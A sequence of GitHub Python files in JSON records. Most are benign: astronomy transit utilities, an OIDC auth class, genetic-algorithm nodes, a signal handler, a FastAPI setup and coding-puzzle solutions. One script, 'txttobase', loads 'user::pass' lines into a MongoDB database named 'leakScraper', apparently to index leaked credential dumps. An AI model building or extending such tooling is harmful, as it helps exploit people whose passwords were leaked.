os.path.join('images', imgName)\n target_path = os.path.join(val_path_images, imgName)\n\n shutil.copyfile(og_path, target_path)\n\n og_txt_path = os.path.join('bbox_txt', imgName.replace('.jpg', '.txt'))\n target_txt_path = os.path.join(val_path_labels, imgName.replace('.jpg', '.txt'))\n\n shutil.copyfile(og_txt_path, target_txt_path)\n\n\nprint(\"Done! \")\n","repo_name":"Mukilan-Krishnakumar/Custom_YOLOv8_Object_Track","sub_path":"2_Data_Annotation/train_test_split.py","file_name":"train_test_split.py","file_ext":"py","file_size_in_byte":1828,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"29"} +{"seq_id":"70223902798","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport juliet\nimport matplotlib.gridspec as gd\nfrom astropy.table import Table\nfrom astropy.io import fits\nimport os\nfrom path import Path\nfrom glob import glob\nimport pickle\nfrom scipy.interpolate import CubicSpline\nimport corner\nfrom matplotlib.gridspec import GridSpec\n\ndef corner_plot(folder, planet_only=False):\n \"\"\"\n This function will generate corner plots of posterios\n in a given folder\n -----------------------------------------------------\n Parameters:\n -----------\n folder : str\n Path of the folder where the .pkl file is located\n planet_only : bool\n Boolean on whether to make corner plot of only\n planetary parameters\n Default is False\n -----------\n return\n -----------\n corner plot : .pdf file\n stored inside folder directory\n \"\"\"\n pcl = glob(folder + '/*.pkl')[0]\n post = pickle.load(open(pcl, 'rb'), encoding='latin1')\n p1 = post['posterior_samples']\n lst = []\n if not planet_only:\n for i in p1.keys():\n gg = i.split('_')\n if 'p1' in gg or 'mflux' in gg or 'sigma' in gg or 'GP' in gg or 'mdilution' in gg or 'q1' in gg or 'q2' in gg:\n lst.append(i)\n else:\n for i in p1.keys():\n gg = i.split('_')\n if 'p1' in gg or 'q1' in gg or 'q2' in gg:\n lst.append(i)\n if 't0' in lst[0].split('_'):\n t01 = np.floor(p1[lst[0]][0])\n cd = p1[lst[0]] - t01\n lst[0] = lst[0] + ' - ' + str(t01)\n elif 'fp' in lst[0].split('_'):\n cd = p1[lst[0]]*1e6\n lst[0] = lst[0] + ' (in ppm)'\n else:\n cd = p1[lst[0]]\n for i in range(len(lst)-1):\n if 't0' in lst[i+1].split('_'):\n t02 = np.floor(p1[lst[i+1]][0])\n cd1 = p1[lst[i+1]] - t02\n cd = np.vstack((cd, cd1))\n lst[i+1] = lst[i+1] + ' - ' + str(t02)\n elif 'fp' in lst[i+1].split('_'):\n cd = np.vstack((cd, p1[lst[i+1]]*1e6))\n lst[i+1] = lst[i+1] + ' (in ppm)'\n else:\n cd = np.vstack((cd, p1[lst[i+1]]))\n data = np.transpose(cd)\n value = np.median(data, axis=0)\n ndim = len(lst)\n fig = corner.corner(data, labels=lst)\n axes = np.array(fig.axes).reshape((ndim, ndim))\n\n for i in range(ndim):\n ax = axes[i,i]\n ax.axvline(value[i], color = 'r')\n\n for yi in range(ndim):\n for xi in range(yi):\n ax = axes[yi, xi]\n ax.axvline(value[xi], color = 'r')\n ax.axhline(value[yi], color = 'r')\n ax.plot(value[xi], value[yi], 'sr')\n\n fig.savefig(folder + \"/corner.pdf\")\n\ndef correlation_plot(params, flx, flxe, out_folder=os.getcwd()):\n \"\"\"\n This function will generate trend of flux \n with various decorrelation parameters\n -----------------------------------------\n Parameters:\n -----------\n params : dict\n dictionary containing decorrelation parameters\n flx : dict\n dictionary containing flux\n flxe : dict\n dictionary containing errors in flux\n out_folder : str\n location where to save the plots\n -----------\n return\n -----------\n .png file\n saved plot\n \"\"\"\n # Decorrelation parameters\n pnames = list(params.keys())\n nms = len(pnames)\n # Instrument name\n instrument = list(flx.keys())[0]\n\n fig = plt.figure(figsize=(16,9))\n gs = GridSpec(nms, 1)#, width_ratios=[1, 2], height_ratios=[4, 1])\n for i in range(nms):\n ax1 = fig.add_subplot(gs[i])\n ax1.errorbar(params[pnames[i]], flx[instrument], yerr=flxe[instrument], fmt='.', label=pnames[i])\n ax1.set_ylabel('Trend with ' + pnames[i])\n\n plt.savefig(out_folder + '/correlation_plot.png')\n\ndef manual_gp_priors(params, dists, hyper):\n \"\"\"\n This function creates GP dictionary to give inputs to\n single_param_decorr() function of gpcheops\n -----------------------------------------------------\n Parameters:\n -----------\n params : list\n List containing GP parameters' names\n dists : list\n Distribution of the GP parameters\n hyper : list\n List containing prior values\n -----------\n return\n -----------\n dict\n Dictionary that can be ingested to single_param_decorr()\n \"\"\"\n gp_priors = {}\n gp_priors['params'] = params\n gp_priors['dists'] = dists\n gp_priors['hyper'] = hyper\n return gp_priors\n\ndef manual_multi_gp_priors(decorr_lst, gp_prs):\n \"\"\"\n This function returns a dictionary that can be provided to\n multiple_params_decorr() function of gpcheops\n ----------------------------------------------------------\n Parameters:\n -----------\n decorr_lst : list\n A list containing the names of decorrelation parameters\n gp_prs : list\n A list containing dictionaries that have GP priors given to the decorrelation parameters\n Use manual_gp_priors() function of gpcheops.utils to generate these dictionaries\n One can also include strings to use default GP priors from ExM, QP or SHO.\n -----------\n return\n -----------\n dict\n A dictionary that can be ingested to the multiple_params_decorr()\n \"\"\"\n mult_gp_priors = {}\n for i in range(len(decorr_lst)):\n mult_gp_priors[decorr_lst[i]] = gp_prs[i]\n return mult_gp_priors\n\n\ndef tdur(per, ar, rprs, bb):\n \"\"\"\n To compute transit/eclipse duration from\n Period, a/R*, Rp/R* and b\n ----------------------------------------\n Parameters:\n -----------\n per : float, or numpy.ndarray\n Orbital period of the planet\n aR : float, or numpy.ndarray\n Scaled semi-major axis, a/R*\n rprs : float, or numpy.ndarray\n Planet-to-star radius ratio, Rp/R*\n bb : float, or numpy.ndarray\n Impact parameter\n -----------\n return\n -----------\n float, or numpy.ndarray\n Transit duration, in days\n \"\"\"\n ab = per/np.pi\n cd = (1+rprs)**2 - (bb**2)\n ef = 1 - ((bb/ar)**2)\n br1 = (1/ar)*(np.sqrt(cd/ef))\n tt = ab*np.arcsin(br1)\n return tt\n\n\ndef tau(per, ar, rprs, bb):\n \"\"\"\n To compute ingress/egress duration from\n Period, a/R*, Rp/R* and b\n ----------------------------------------\n Parameters:\n -----------\n per : float, or numpy.ndarray\n Orbital period of the planet\n aR : float, or numpy.ndarray\n Scaled semi-major axis, a/R*\n rprs : float, or numpy.ndarray\n Planet-to-star radius ratio, Rp/R*\n bb : float, or numpy.ndarray\n Impact parameter\n -----------\n return\n -----------\n float, or numpy.ndarray\n Transit duration, in days\n \"\"\"\n ab = per/np.pi\n bc = 1/np.sqrt(1 - bb**2)\n xy = ab*bc*rprs/ar\n return xy\n\n\ndef pipe_data(f1, bgmin=300):\n \"\"\"\n Function to spit out data products\n with removing flagged data, hihgh background data etc.\n from PIPE output files.\n ------------------------------------------------------\n Parameters:\n -----------\n f1 : str\n Name (along with location) of the fits file\n bgmin : int, float\n Threshold for background; all points with higher backgrounds\n will be discarded.\n Default is 300 e-/pix\n -----------\n return\n -----------\n dict :\n Dictionary containing BJD time, normalized flux with\n errors on it, roll angle, xc, yc, BG, thermFront2 and\n principal components of PSF fitting (U0 to Un)\n \"\"\"\n hdul = fits.open(f1)\n tab = Table.read(hdul[1])\n # Masking datasets\n flg = np.asarray(tab['FLAG']) # Flagged data\n msk = np.where(flg==0)[0] # Creating a mask to remove flg>0 values\n # Gathering dataset\n Us_n = np.array([])\n Us = []\n for i in tab.colnames:\n if i[0] == 'U':\n Us_n = np.hstack((Us_n, i))\n for j in range(len(Us_n)):\n usn = np.asarray(tab[Us_n[j]])[msk]\n Us.append(usn)\n tim, flx, flxe = np.asarray(tab['BJD_TIME'])[msk], np.asarray(tab['FLUX'])[msk], np.asarray(tab['FLUXERR'])[msk]\n roll, xc, yc, bg = np.asarray(tab['ROLL'])[msk], np.asarray(tab['XC'])[msk], np.asarray(tab['YC'])[msk], np.asarray(tab['BG'])[msk]\n tf2 = np.asarray(tab['thermFront_2'])[msk]\n # Masking those points with high background values\n msk1 = np.where(bg<bgmin)[0]\n tim, flx, flxe, roll, xc, yc, bg, tf2 = tim[msk1], flx[msk1], flxe[msk1], roll[msk1], xc[msk1], yc[msk1], bg[msk1], tf2[msk1]\n Us1 = []\n for i in range(len(Us_n)):\n us1 = Us[i][msk1]\n Us1.append(us1)\n # Normalising flux\n flx, flxe = flx/np.median(flx), flxe/np.median(flx)\n data = {}\n data['TIME'], data['FLUX'], data['FLUX_ERR'] = tim, flx, flxe\n data['ROLL'], data['XC'], data['YC'], data['BG'] = roll, xc, yc, bg\n data['TF2'] = tf2\n for i in range(len(Us_n)):\n data[Us_n[i]] = Us1[i]\n return data","repo_name":"Jayshil/gpcheops","sub_path":"gpcheops/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":8891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"9146458025","text":"\"\"\"Definition of authentication flows.\"\"\"\nimport os\nfrom abc import ABC, abstractmethod\nfrom enum import Enum, auto\nfrom typing import List, Optional, final\n\nimport httpx\nimport jose\nimport jose.jwt\nfrom pydantic import ConfigDict, Field, TypeAdapter\nfrom strenum import StrEnum\n\nfrom oidcish import models\nfrom pydantic_settings import BaseSettings\n\n\nclass Flows(Enum):\n \"\"\"Supported authentication flows.\"\"\"\n\n DEVICE = auto()\n CODE = auto()\n\n\nclass Status(StrEnum):\n \"\"\"Base enum for general authentication flow.\"\"\"\n\n UNINITIALIZED = \"UNINITIALIZED: Authentication not started.\"\n\n\nclass Settings(BaseSettings):\n \"\"\"Settings for general authentication flow.\"\"\"\n\n host: str = Field(default=None)\n timeout: float = Field(default=3.0)\n\n model_config = ConfigDict( # type: ignore\n env_prefix=os.environ.get(\"OIDCISH_ENV_PREFIX\", \"oidcish_\"),\n env_file=\".env\",\n extra=\"ignore\",\n )\n\n\nclass AuthenticationFlow(ABC):\n \"\"\"Abstract class for authentication flows.\"\"\"\n\n def __init__(self, settings: Settings) -> None:\n # Set attributes\n self._client = httpx.Client(base_url=settings.host, timeout=settings.timeout)\n self._idp = self.get_info()\n self._jwks = self.get_jwks()\n self._status = Status.UNINITIALIZED\n self._settings = settings\n self._credentials: Optional[models.Credentials] = None\n\n @final\n def get_info(self) -> models.Idp:\n \"\"\"Get discovery document from identity provider.\"\"\"\n response = self._client.get(\".well-known/openid-configuration\")\n response.raise_for_status()\n\n return models.Idp.model_validate(response.json())\n\n @final\n def get_jwks(self) -> List[models.Jwks]:\n \"\"\"Get public JWK set from identity provider.\"\"\"\n response = self._client.get(self.idp.jwks_uri)\n response.raise_for_status()\n\n ta = TypeAdapter(List[models.Jwks])\n\n return ta.validate_python(response.json().get(\"keys\"))\n\n @final\n @property\n def status(self) -> Status:\n \"\"\"Access authentication status.\"\"\"\n return self._status\n\n @final\n @property\n def settings(self) -> Settings:\n \"\"\"Access settings.\"\"\"\n return self._settings\n\n @final\n @property\n def credentials(self) -> Optional[models.Credentials]:\n \"\"\"Access credentials.\"\"\"\n return self._credentials\n\n @final\n @property\n def idp(self) -> models.Idp:\n \"\"\"Access provider info.\"\"\"\n return self._idp\n\n @final\n @property\n def jwks(self) -> List[models.Jwks]:\n \"\"\"Access public JWK set.\"\"\"\n return self._jwks\n\n @final\n @property\n def jwks_key(self) -> Optional[models.Jwks]:\n \"\"\"Access public JWK key corresponding to credentials.\"\"\"\n if self.credentials is None:\n return None\n\n unverified_header = jose.jwt.get_unverified_header(\n self.credentials.access_token\n )\n return {key.kid: key for key in self.jwks}.get(unverified_header[\"kid\"])\n\n @final\n @property\n def id_claims(self) -> Optional[models.Claims]:\n \"\"\"Id claims corresponding to credentials.\"\"\"\n if self.credentials is None:\n return None\n\n return (\n models.Claims.from_token(self.credentials.id_token)\n if self.credentials.id_token\n else None\n )\n\n @final\n @property\n def access_claims(self) -> Optional[models.Claims]:\n \"\"\"Access claims corresponding to credentials.\"\"\"\n if self.credentials is None:\n return None\n\n return models.Claims.from_token(self.credentials.access_token)\n\n @abstractmethod\n def init(self) -> None:\n \"\"\"Initiate sign-in.\"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def refresh(self) -> None:\n \"\"\"Refresh credentials.\"\"\"\n raise NotImplementedError\n","repo_name":"SHAARPEC/oidcish","sub_path":"src/oidcish/flows/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":3891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"72987537999","text":"from fractions import Fraction\nfrom abc import ABC, abstractmethod, abstractproperty\n\nfrom lxml import etree\n\nfrom .dimension import Dimension\n\n\nclass Node(ABC):\n\n @abstractmethod\n def eval(self, environment, gene, date1, date2):\n raise NotImplementedError\n\n @abstractmethod\n def validate(self, gene):\n raise NotImplementedError\n\n @abstractmethod\n def __str__(self):\n return ''\n\n @abstractproperty\n def xml(self):\n raise NotImplementedError\n\n\nclass Constant(Node):\n\n children = []\n\n def __init__(self, value):\n self.__value = Fraction(value)\n self.dimension = Dimension()\n\n def eval(self, environment, gene, date1, date2):\n v = self.__value\n if int(v) == v:\n v = int(v)\n elif float(v) == v:\n v = float(v)\n return v\n\n def validate(self, gene):\n pass\n\n def __str__(self):\n return str(self.__value)\n\n @property\n def xml(self):\n try:\n return self.__x\n except AttributeError:\n self.__x = etree.XML('<Constant value=\"%s\"/>' % str(self))\n return self.__x\n\n\nclass Data(Node):\n\n children = []\n\n def __init__(self, name, value, dimension=''):\n self.__name = name\n self.__value = value\n self.dimension = Dimension.parse(dimension)\n\n def eval(self, environment, gene, date1, date2):\n return environment.get_frame(self.__value, date1, date2)\n\n def validate(self, gene):\n pass\n\n def __str__(self):\n return self.__name\n\n @property\n def xml(self):\n try:\n return self.__x\n except AttributeError:\n self.__x = etree.XML('<Data value=\"%s\"/>' % str(self))\n return self.__x\n\n\nclass Operator(Node):\n\n def __init__(self, name, nchildren, **kwargs):\n self.__name = name\n self.children = [None] * nchildren\n\n for k, v in kwargs.items():\n if k.startswith('arg') and v != None and v != '*':\n i = int(k[3:])-1\n if 'value' in v:\n v_value = v['value']\n if v_value == '*':\n del v['value']\n elif isinstance(v_value, str):\n v['value'] = [v_value]\n else:\n try:\n v_value = list(v_value)\n except TypeError:\n v_value = str(v_value)\n v['value'] = [str(i) for i in v_value]\n\n self.children[i] = v\n\n def validate_children(self, gene):\n result = []\n for i, cond in enumerate(self.children):\n child_i = gene.next_node()\n child_i.validate(gene)\n\n if cond:\n if 'dimension' in cond:\n assert child_i.dimension == cond.dimension\n if 'value' in cond:\n cond_value = cond['value']\n str_i = str(child_i)\n try:\n fraction_i = Fraction(str_i)\n assert fraction_i in [Fraction(j) for j in cond_value]\n except ValueError:\n assert str_i in cond_value\n result.append(child_i)\n return result\n\n def __str__(self):\n return self.__name\n\n @property\n def xml(self):\n try:\n return self.__x\n except AttributeError:\n self.__x = etree.XML('<Operator value=\"%s\"/>' % str(self))\n return self.__x\n\n\nclass OperatorWithDefaultConstants(Operator):\n\n def __init__(self, name, nchildren, default={}, **kwargs):\n super(OperatorWithDefaultConstants, self).__init__(name, nchildren, **kwargs)\n for k, v in default.items():\n if k.startswith('arg'):\n i = int(k[3:])-1\n if self.children[i] is None:\n if not isinstance(v, dict):\n v = {'value': v}\n if isinstance(v['value'], list):\n v['value'] = [Fraction(i) for i in v['value']]\n else:\n v['value'] = [Fraction(v['value'])]\n self.children[i] = v\n\n\nclass SameDimensionInputOutput(object):\n\n def validate(self, gene):\n children = self.validate_children(gene)\n dims = set([str(child.dimension) for child in children])\n if '?' in dims:\n dims.remove('?')\n if len(dims) == 0:\n self.dimension = Dimension.parse('?')\n return\n if '*' in dims:\n dims.remove('*')\n self.dimension = Dimension.parse('*')\n return\n assert len(dims) <= 1\n if len(dims) == 0:\n self.dimension = Dimension.parse('*')\n else:\n self.dimension = Dimension.parse(dims.pop())\n\n\nclass NoDimensionOutput(object):\n\n def validate(self, gene):\n self.validate_children(gene)\n self.dimension = Dimension()\n\n\nclass SameDimensionOutput(object):\n\n def __init__(self, child_pos):\n self.child_pos = child_pos\n\n def validate(self, gene):\n children = self.validate_children(gene)\n self.dimension = children[self.child_pos].dimension.copy()\n\n\nclass UnaryOperator(Operator):\n\n def __init__(self, name, **kwargs):\n super(UnaryOperator, self).__init__(name, 1, **kwargs)\n\n\nclass SameDimensionInputOutputUnaryOperator(SameDimensionInputOutput, UnaryOperator):\n\n def __init__(self, name, **kwargs):\n SameDimensionInputOutput.__init__(self)\n UnaryOperator.__init__(self, name, **kwargs)\n\n\nclass NoDimensionOutputUnaryOperator(NoDimensionOutput, UnaryOperator):\n\n def __init__(self, name, **kwargs):\n NoDimensionOutput.__init__(self)\n UnaryOperator.__init__(self, name, **kwargs)\n\n\nclass BinaryOperator(Operator):\n\n def __init__(self, name, **kwargs):\n super(BinaryOperator, self).__init__(name, 2, **kwargs)\n\n\nclass SameDimensionInputOutputBinaryOperator(SameDimensionInputOutput, BinaryOperator):\n\n def __init__(self, name, **kwargs):\n SameDimensionInputOutput.__init__(self)\n BinaryOperator.__init__(self, name, **kwargs)\n\n\nclass NoDimensionOutputBinaryOperator(NoDimensionOutput, BinaryOperator):\n\n def __init__(self, name, **kwargs):\n NoDimensionOutput.__init__(self)\n BinaryOperator.__init__(self, name, **kwargs)\n\n\nclass SameDimensionOutputLeftBinaryOperator(SameDimensionOutput, BinaryOperator):\n\n def __init__(self, name, **kwargs):\n SameDimensionOutput.__init__(self, 0)\n BinaryOperator.__init__(self, name, **kwargs)\n\n\nclass SameDimensionOutputRightBinaryOperator(SameDimensionOutput, BinaryOperator):\n\n def __init__(self, name, **kwargs):\n SameDimensionOutput.__init__(self, 1)\n BinaryOperator.__init__(self, name, **kwargs)\n\n\nclass TernaryOperator(Operator):\n\n def __init__(self, name, **kwargs):\n super(TernaryOperator, self).__init__(name, 3, **kwargs)\n\n\nclass NoDimensionOutputTernaryOperator(NoDimensionOutput, TernaryOperator):\n\n def __init__(self, name, **kwargs):\n NoDimensionOutput.__init__(self)\n TernaryOperator.__init__(self, name, **kwargs)\n","repo_name":"leeong05/orca","sub_path":"thrones/ga/node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":7267,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"29"} +{"seq_id":"70938312078","text":"#\n# @lc app=leetcode.cn id=530 lang=python\n#\n# [530] 二叉搜索树的最小绝对差\n#\n\n# @lc code=start\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def getMinimumDifference(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n def inorder(root):\n if not root:\n return None\n inorder(root.left)\n res.append(root.val)\n inorder(root.right)\n res = []\n inorder(root)\n return min([abs(res[i] - res[i+1]) for i in range(len(res)-1)])\n# @lc code=end\n\n","repo_name":"XWang20/LeetCode-BrushUp","sub_path":"src/530.二叉搜索树的最小绝对差.py","file_name":"530.二叉搜索树的最小绝对差.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"41761626480","text":"# 백준13549 : 숨바꼭질 3\r\nfrom collections import deque\r\n\r\ndef joyGo(N: int, K: int) -> int : \r\n dq = deque([N])\r\n visited = [-1] * (10**5 + 1)\r\n visited[N] = 0\r\n while dq : \r\n current = dq.popleft()\r\n if current == K : return visited[current]\r\n\r\n for next in (current-1, current+1, current*2) : \r\n if (0 <= next <= 10**5) and (visited[next] == -1) : \r\n if next == current*2 : \r\n visited[next] = visited[current]\r\n dq.appendleft(next)\r\n else : \r\n visited[next] = visited[current] + 1\r\n dq.append(next)\r\n\r\n\r\nif __name__ == \"__main__\" : \r\n N, K = map(int, input().split())\r\n print(joyGo(N, K))","repo_name":"Yoon-men/Problem-Solving","sub_path":"BaekJoon/13549.py","file_name":"13549.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36995207406","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 15 11:27:32 2021\n\n@author: sjcet\n\"\"\"\n\n#5. Write a program to check whether given matrix is symmetric or Skew Symmetric.\nimport numpy as np\nA = np.array([[6, 1, 1],\n [1, -2, 5],\n [1, 5, 7]])\nprint(\"Original Matrix\\n\",A) \ninv=np.transpose(A)\nprint (\"Transpose matrix\\n\",inv)\nneg=np.negative(A)\ncomparison = A == inv\ncomparison1 = inv== neg\nequal_arrays = comparison.all()\nskew=comparison1.all()\nif equal_arrays :\n print(\"Symmetric\")\nelse:\n print(\"not Symmetric\")\n \nif skew:\n print(\"Skew Symmetric\")\nelse:\n print(\"Not Skew Symmetric\")","repo_name":"Milurose8/Data-Science","sub_path":"CYCLE-2 _PART-2/pgm5.py","file_name":"pgm5.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"29918648782","text":"import logging\nimport fcntl\nimport os\nimport select\nimport signal\nfrom threading import Thread, Event\n\nfrom collections import OrderedDict\n\nlog = logging.getLogger(__name__)\n\n\nclass SignalHandler(Thread):\n \"\"\" A handler class for more reliable signal delivery.\"\"\"\n\n def __init__(self, components={}):\n super(SignalHandler, self).__init__()\n\n wakeup_r, wakeup_w = os.pipe()\n fcntl.fcntl(wakeup_w, fcntl.F_SETFL, os.O_NONBLOCK)\n self._wakeup_r = wakeup_r\n self._wakeup_w = wakeup_w\n # we don't care about order for initial components, if any\n self._components = OrderedDict(components)\n self._original_handlers = {}\n self._registered_signals = set()\n self._stop_flag = Event()\n self._stop_flag.set()\n\n signal.set_wakeup_fd(self._wakeup_w)\n\n def register(self, identifier, component):\n if identifier in self._components:\n raise KeyError(\"component ({}) alredy registered\".format(identifier))\n\n self._components[identifier] = component\n\n def unregister(self, identifier):\n if not self._stop_flag.is_set():\n raise Exception('cannot unregister component if manager is running')\n\n self._components.pop(identifier)\n\n def handle(self, signum):\n if signum not in list(range(1, signal.NSIG)):\n raise ValueError('Invalid signal specified')\n\n self._registered_signals.add(signum)\n self._original_handlers[signum] = signal.getsignal(signum)\n\n # we actually handle the signals when we read them from\n # the pipe - hence the dummy handler.\n signal.signal(signum, self._dummy_handler)\n\n def unhandle(self, signum):\n if not self._stop_flag.is_set():\n raise Exception('cannot unregister handler if manager is running')\n if signum not in list(range(1, signal.NSIG)):\n raise ValueError('Invalid signal specified')\n\n original_handler = self._original_handlers.pop(signum)\n signal.signal(signum, original_handler)\n self._registered_signals.remove(signum)\n\n def run(self):\n self._stop_flag.clear()\n self.listen()\n\n def running(self):\n return not self._stop_flag.is_set()\n\n def stop(self):\n self._stop_flag.set()\n os.close(self._wakeup_w)\n os.close(self._wakeup_r)\n\n def listen(self):\n while not self._stop_flag.is_set():\n try:\n readable, _, _ = select.select([self._wakeup_r], [], [], 1)\n for fp in readable:\n signum = int.from_bytes(os.read(fp, 1), byteorder='big')\n if signum not in self._registered_signals:\n continue\n\n self._signal_handler(signum, None)\n except OSError:\n # file descriptor closed we're about to end loop\n pass\n\n def _dummy_handler(self, signal, frame):\n pass\n\n def _signal_handler(self, signal, frame):\n log.debug(\"Signal %s received\", signal)\n for identifier, component in self._components.items():\n log.info(\"Stopping %s\", identifier)\n try:\n component.stop()\n except AttributeError:\n log.error(\"Registered component does not implement stop(): %s\", identifier)\n","repo_name":"DataDog/datadog-unix-agent","sub_path":"utils/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":3334,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"29"} +{"seq_id":"24753523134","text":"from fastapi import FastAPI\nfrom starlette.middleware.cors import CORSMiddleware\n\nfrom app.routes import controllers, token, users, darpal\nfrom app.core.config import ALLOWED_HOSTS, API_V1_STR, PROJECT_NAME, PROJECT_DESCRIPTION\nfrom app.db.mongodb_utils import close_mongo_connection, connect_to_mongo\n\napp = FastAPI(\n title=PROJECT_NAME,\n version='0.0.1',\n description=PROJECT_DESCRIPTION,\n license={\n 'name': 'European Union Public License 1.2',\n 'url': 'https://spdx.org/licenses/EUPL-1.2.html',\n },\n)\n\nif not ALLOWED_HOSTS:\n ALLOWED_HOSTS = [\"*\"]\n\n# Set all CORS enabled origins\napp.add_middleware(\n CORSMiddleware,\n allow_origins=ALLOWED_HOSTS,\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n expose_headers=[\"Access-Control-Allow-Origin\"],\n)\n\napp.add_event_handler(\"startup\", connect_to_mongo)\napp.add_event_handler(\"shutdown\", close_mongo_connection)\n\napp.include_router(darpal.router)\napp.include_router(controllers.router)\napp.include_router(users.router)\napp.include_router(token.router)","repo_name":"DaSKITA/dara-api","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"37132166069","text":"from pymongo import MongoClient\r\nimport os\r\nimport sys\r\n\r\nprint(\"The text to base Convertor. Will understand That, Who will understand.\")\r\nprint(\"USAGE: Type 1: if one file \\n Type 2: if files are many\")\r\nprint(\"P.S: if your choise is 2. make all file in one dir please\")\r\n\r\nchoise = int(input(\"Your Choice: \"))\r\nclient = MongoClient('localhost', 27017)\r\ndb = client['leakScraper']\r\ncollection1 = db[\"credentials\"]\r\ndef conver(file, type):\r\n if type == 1:\r\n openedf = open(str(file), \"r\")\r\n readed = openedf.read()\r\n print(readed)\r\n elif type == 2:\r\n for i in os.listdir(file):\r\n path = file + str(i)\r\n anyoped = open(path, \"r\")\r\n reads = anyoped.readlines()\r\n for line in reads:\r\n user = line.split(\"::\")[0]\r\n paswd = line.split(\"::\")[1]\r\n post = {\"user\" : str(user),\r\n \"pass\" : str(paswd)}\r\n posts = db.posts\r\n post_id = posts.insert_one(post).inserted_id\r\n print(post_id)\r\n\r\n\t\t\r\nif choise == 1:\r\n file = input(\"path_to_file: \")\r\n conver(file, 1)\r\nelif choise == 2:\r\n file = input(\"path_to_dir: \")\r\n conver(file, 2)\r\nelse:\r\n print(\"use 1 or 2 please\")\r\n exit()\r\n\r\n\r\n\r\n","repo_name":"Tikobns/txtobase","sub_path":"txttobase.py","file_name":"txttobase.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"35402988340","text":"import OrderedPair\n\nclass CartesianProduct(object):\n\t\"\"\"docstring for CartesianProduct\"\"\"\n\tdef __init__(self, word1, word2):\n\n\t\tself.cartesianProductMatrix = []\n\n\t\tshorterWord = None\n\t\tlongerWord = None\n\n\t\t'these conditionals find which word is longer and which is shorter'\n\t\tif len(word1.listOfPhonemes) < len(word2.listOfPhonemes):\n\t\t\tshorterWord = word1\n\t\t\tlongerWord = word2\n\t\telse:\n\t\t\tshorterWord = word2\n\t\t\tlongerWord = word1\n\n\t\t'creates Cartesian product (shorterWord X longerWord)'\n\t\tfor s in range(0, len(shorterWord.listOfPhonemes)):\n\t\t\tcurrentRow = []\n\t\t\tfor l in range(0, len(longerWord.listOfPhonemes)):\n\t\t\t\tnewOrderedPair = OrderedPair.OrderedPair(shorterWord.listOfPhonemes[s], longerWord.listOfPhonemes[l], l)\n\t\t\t\tcurrentRow.append(newOrderedPair)\n\n\t\t\tself.cartesianProductMatrix.append(currentRow)\n\n\tdef resetOrderedPairRVs(self):\n\n\t\tcurrentRow = None\n\n\t\tfor i in range(0, len(self.cartesianProductMatrix)):\n\n\t\t\tcurrentRow = self.cartesianProductMatrix[i]\n\n\t\t\tfor j in range(0, len(currentRow)):\n\n\t\t\t\tcurrentRow[j].resetRV()\n\n\tdef removeTopRow(self):\n\t\tself.cartesianProductMatrix.pop(0)\n","repo_name":"TomLisankie/Prhymer-Python","sub_path":"src/CartesianProduct.py","file_name":"CartesianProduct.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"8771463959","text":"##Final Answer\r\ncorret_answer=18\r\nprint(\"Welcome to a number game\\n\",\"You have 9 lives to guess a number\")\r\nnum=int(input(\"Guess a number:\"))\r\ni = 10\r\nwhile True:\r\n if i == 0:\r\n print(\"Game over\")\r\n break\r\n elif num == 18:\r\n print(\"You Won\")\r\n print(\"8 lives left\")\r\n break\r\n elif num<18:\r\n print(\"Enter a Greater number\",i-1,\"lives left\")\r\n i = i- 1\r\n num = int(input(\"Try again:\"))\r\n elif num > 18:\r\n print(\"Enter a lesser number\",i-1,\"lives left\")\r\n i = i - 1\r\n num = int(input(\"Try again:\"))\r\n","repo_name":"Rakshith-0007/Number_Guessing_Game-","sub_path":"20_guees_a_number.py","file_name":"20_guees_a_number.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36155368058","text":"'''\nDetermine whether an integer is a palindrome. An integer is a palindrome when it reads the same backward as forward.\n\nExample 1:\n\nInput: 121\nOutput: true\nExample 2:\n\nInput: -121\nOutput: false\nExplanation: From left to right, it reads -121. From right to left, it becomes 121-. Therefore it is not a palindrome.\nExample 3:\n\nInput: 10\nOutput: false\nExplanation: Reads 01 from right to left. Therefore it is not a palindrome.\nFollow up:\n\nCoud you solve it without converting the integer to a string?\n'''\n\nclass Solution:\n def isPalindrome(self, x):\n \"\"\"\n :type x: int\n :rtype: bool\n \"\"\"\n div = 1\n while x / div >= 10:\n div *= 10\n while x:\n highest = int(x / div)\n lowest = x % 10\n if highest != lowest:\n return False\n x = int((x % div) / 10)\n div /= 100\n return 